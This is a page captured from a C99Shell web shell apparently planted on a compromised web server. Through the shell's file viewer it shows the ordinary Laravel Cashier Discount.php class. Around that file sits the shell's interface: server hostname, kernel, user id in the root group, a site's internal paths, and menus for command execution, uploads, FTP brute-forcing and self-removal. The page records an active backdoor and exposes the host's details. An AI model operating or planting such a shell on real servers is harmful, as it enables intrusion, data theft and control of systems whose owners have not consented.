!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/laravel/cashier/src/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Discount.php (2.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Cashier;

use 
Carbon\Carbon;
use 
Illuminate\Contracts\Support\Arrayable;
use 
Illuminate\Contracts\Support\Jsonable;
use 
JsonSerializable;
use 
Stripe\Discount as StripeDiscount;

class 
Discount implements ArrayableJsonableJsonSerializable
{
    
/**
     * The Stripe Discount instance.
     *
     * @var \Stripe\Discount
     */
    
protected $discount;

    
/**
     * Create a new Discount instance.
     *
     * @param  \Stripe\Discount  $discount
     * @return void
     */
    
public function __construct(StripeDiscount $discount)
    {
        
$this->discount $discount;
    }

    
/**
     * Get the coupon applied to the discount.
     *
     * @return \Laravel\Cashier\Coupon
     */
    
public function coupon()
    {
        return new 
Coupon($this->discount->coupon);
    }

    
/**
     * Get the promotion code applied to create this discount.
     *
     * @return \Laravel\Cashier\PromotionCode|null
     */
    
public function promotionCode()
    {
        if (! 
is_null($this->discount->promotion_code) && ! is_string($this->discount->promotion_code)) {
            return new 
PromotionCode($this->discount->promotion_code);
        }
    }

    
/**
     * Get the date that the coupon was applied.
     *
     * @return \Carbon\Carbon
     */
    
public function start()
    {
        return 
Carbon::createFromTimestamp($this->discount->start);
    }

    
/**
     * Get the date that this discount will end.
     *
     * @return \Carbon\Carbon|null
     */
    
public function end()
    {
        if (! 
is_null($this->discount->end)) {
            return 
Carbon::createFromTimestamp($this->discount->end);
        }
    }

    
/**
     * Get the Stripe Discount instance.
     *
     * @return \Stripe\Discount
     */
    
public function asStripeDiscount()
    {
        return 
$this->discount;
    }

    
/**
     * Get the instance as an array.
     *
     * @return array
     */
    
public function toArray()
    {
        return 
$this->asStripeDiscount()->toArray();
    }

    
/**
     * Convert the object to its JSON representation.
     *
     * @param  int  $options
     * @return string
     */
    
public function toJson($options 0)
    {
        return 
json_encode($this->jsonSerialize(), $options);
    }

    
/**
     * Convert the object into something JSON serializable.
     *
     * @return array
     */
    
#[\ReturnTypeWillChange]
    public function 
jsonSerialize()
    {
        return 
$this->toArray();
    }

    
/**
     * Dynamically get values from the Stripe object.
     *
     * @param  string  $key
     * @return mixed
     */
    
public function __get($key)
    {
        return 
$this->discount->{$key};
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--